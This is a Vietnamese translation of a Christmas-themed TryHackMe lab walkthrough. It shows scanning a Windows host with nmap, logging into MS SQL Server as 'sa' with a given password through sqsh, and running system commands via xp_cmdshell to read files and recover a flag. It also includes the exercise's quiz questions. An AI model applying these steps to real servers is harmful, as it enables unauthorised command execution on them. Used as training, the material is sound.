Task 16 [Day 11] Networking Where Are The Reindeers?
Trước khi bắt đầu, chúng tôi khuyên bạn nên khởi động Máy kèm theo AttackBox vì bạn sẽ cần sử dụng các tài nguyên này để trả lời các câu hỏi ở phần cuối.
McDatabaseAdmin lao vào phòng và khóc với McSkidy, "Chúng tôi đã bị khóa khỏi lịch trình tuần lộc - phương tiện vận chuyển của ông già Noel sẽ hoạt động như thế nào cho Giáng sinh?" Grinch đã khóa McDatabaseAdmin trong hệ thống của mình. Bạn cần thăm dò bề mặt bên ngoài của máy chủ để xem liệu bạn có lấy lại quyền truy cập cho anh ta hay không.
MS SQL Server là Hệ thống quản lý cơ sở dữ liệu quan hệ (RDBMS). Một cách đơn giản để nghĩ về cơ sở dữ liệu quan hệ là một nhóm các bảng có quan hệ. Để hiểu sơ bộ về hoạt động của cơ sở dữ liệu quan hệ, hãy xem xét cơ sở dữ liệu của một cửa hàng với ba bảng sau:
- Đồ điện tử
- Khách hàng
- Hóa đơn
Mỗi mục trong bảng Mặt hàng Điện tử có:
- ID
- Name
- Price
- Quantity
Mỗi mục trong bảng Khách hàng cũng có các thuộc tính riêng:
- ID
- Name
- Phone
Cuối cùng, bảng Hóa đơn sẽ đề cập đến một khách hàng và một hoặc nhiều mặt hàng điện tử. Bảng Hóa đơn sẽ tham chiếu đến một “thực thể” từ một bảng khác bằng cách sử dụng ID của nó. Bằng cách này, chúng tôi chỉ cần ghi chi tiết khách hàng và chi tiết mặt hàng điện tử một lần thay vì sao chép chúng vào mỗi hóa đơn mới. Trường hợp này là một ví dụ đơn giản hóa của cơ sở dữ liệu quan hệ. Hình dưới đây cho thấy ba bảng có liên quan như thế nào.
Bạn quyết định rằng bước đầu tiên sẽ là kiểm tra các dịch vụ đang chạy trên MACHINE_IP. Bạn sử dụng công cụ của ngày hôm qua, Nmap.
Biết rằng MACHINE_IP là một hệ thống MS Windows, bạn mong đợi nó không phản hồi với các đầu dò ping theo mặc định; do đó, bạn cần thêm -Pn vào lệnh nmap của mình để thực hiện quét. Điều này hướng dẫn Nmap bỏ qua ping mục tiêu để xem liệu máy chủ có thể truy cập được hay không. Nếu không có tùy chọn này, Nmap sẽ cho rằng máy chủ đích đang ngoại tuyến và không tiến hành quét.
Có một cổng mở liên quan đến MS SQL Server có thể truy cập qua mạng. Số cổng là gì?
Biết MS SQL Server đang chạy và có thể truy cập qua mạng, chúng tôi muốn kiểm tra xem tên người dùng và mật khẩu của mình có còn hợp lệ hay không. Sử dụng thiết bị đầu cuối AttackBox, chúng tôi sẽ sử dụng lệnh sqsh (phát âm là skwish), một trình bao cơ sở dữ liệu tương tác.
Một cú pháp đơn giản sẽ là sqsh -S server -U username -P password
, giải thích:
-S server
sử dụng kết nối đến máy chủ nào-S MACHINE_IP
-U username
sử dụng tên user là gì, ví dụ,-U sa
-P password
mật khẩu của user.
Ví dụ thử chạy, sqsh -S MACHINE_IP -U sa -P t7uLKzddQzVjVFJp
Nếu kết nối thành công, bạn sẽ nhận được lời nhắc. Lời nhắc mà bạn đã nhận được là gì?
McDatabaseAdmin cho chúng tôi biết tên cơ sở dữ liệu là reindeer và nó có ba bảng:
names
presents
schedule
Để hiển thị bảng name, bạn có thể sử dụng cú pháp sau,, SELECT * FROM table_name WHERE condition
.
SELECT *
được sử dụng để trả về các cột (thuộc tính) cụ thể. * đề cập đến tất cả các cột.FROM table_name
để chỉ định bảng bạn muốn đọc.WHERE condition
để chỉ định các hàng (thực thể).
Trong thiết bị đầu cuối bên dưới, chúng tôi đã thực hiện truy vấn, SELECT * FROM reindeer.dbo.names ;. Truy vấn SQL này sẽ kết xuất tất cả nội dung của tên bảng từ reindeercơ sở dữ liệu. Lưu ý rằng ; cho biết phần cuối của truy vấn SQL, trong khi đi gửi một lô SQL đến cơ sở dữ liệu.
pentester@TryHackMe$ sqsh -S MACHINE_IP -U sa -P "t7uLKzddQzVjVFJp"
1> SELECT * FROM reindeer.dbo.names;
2> go
id first last nickname
----------- ---------------------------------------- ---------------------------------------- ----------------------------------------
1 Dasher Dasher Dasher
2 Dancer Dancer Dancer
3 Prancer Prancer Prancer
4 Vixen Vixen Vixen
5 Comet Comet Comet
6 Cupid Cupid Cupid
7 Donner Donder Dunder
8 Blitzen Blixem Blitzen
9 Rudolph Reindeer Red Nosed
(9 rows affected)
Chúng ta có thể thấy bốn cột trong bảng được hiển thị ở trên: id, họ (tên), họ (tên) và biệt hiệu. Tên đầu tiên của tuần lộc trong id 9 là gì?
Bạn đã hoàn thành công việc tuyệt vời! Bạn đã giúp McDatabaseAdmin lấy lại lịch biểu! Bây giờ, hãy xem liệu chúng ta có thể chạy các lệnh MS Windows trong khi tương tác với cơ sở dữ liệu hay không. Một số Máy chủ MS SQL đã bật xp_cmdshell. Nếu đúng như vậy, chúng ta có thể có quyền truy cập vào một thứ gì đó tương tự như dấu nhắc lệnh.
Cú pháp lệnh là xp_cmdshell 'COMMAND' ;. Hãy thử một lệnh đơn giản, whoami, hiển thị người dùng đang chạy các lệnh. Trong đầu ra đầu cuối bên dưới, sau khi kết nối với MS SQL Server, chúng tôi đã thử xp_cmdshell 'whoami' ;, và chúng tôi có thể thấy rằng người dùng là dịch vụ nt\mssqlserver. Điều này có nghĩa là bất kỳ lệnh nào chúng tôi chuyển đến xp_cmdshell sẽ chạy dưới dạng nt service\mssqlserver
.
pentester@TryHackMe$ sqsh -S MACHINE_IP -U sa -P "t7uLKzddQzVjVFJp"
1> xp_cmdshell 'whoami';
2> go
output
[...]
nt service\mssqlserver
NULL
(2 rows affected, return status = 0)
Chúng ta có thể chạy các lệnh khác mà chúng ta có thể thực hiện trên dòng lệnh MS Windows. Ví dụ, chúng ta có thể sử dụng dir để liệt kê các tệp và thư mục và nhập tên tệp để hiển thị nội dung của tệp. Hãy xem xét ví dụ trong cửa sổ đầu cuối bên dưới, nơi chúng tôi tiết lộ nội dung của tệp văn bản WindowsUpdate.log
.
pentester@TryHackMe$ sqsh -S MACHINE_IP -U sa -P "t7uLKzddQzVjVFJp"
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1> xp_cmdshell 'type c:\windows\WindowsUpdate.log';
2> go
output
[...]
Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.
NULL
NULL
For more information, please visit https://go.microsoft.com/fwlink/?LinkId=518345
(5 rows affected, return status = 0)
1>
Có một lá cờ ẩn trong thư mục chính của người dùng Grinch. Nội dung của nó là gì?
Xin chúc mừng, cờ bạn đã khôi phục có chứa mật khẩu của McDatabaseAdmin! Trong nhiệm vụ này, chúng tôi đã học cách sử dụng sqsh để tương tác với MS SQL Server. Chúng tôi biết rằng nếu xp_cmdshell được bật, chúng tôi có thể thực thi các lệnh hệ thống và đọc kết quả đầu ra bằng cách sử dụng sqsh
.
0 Comments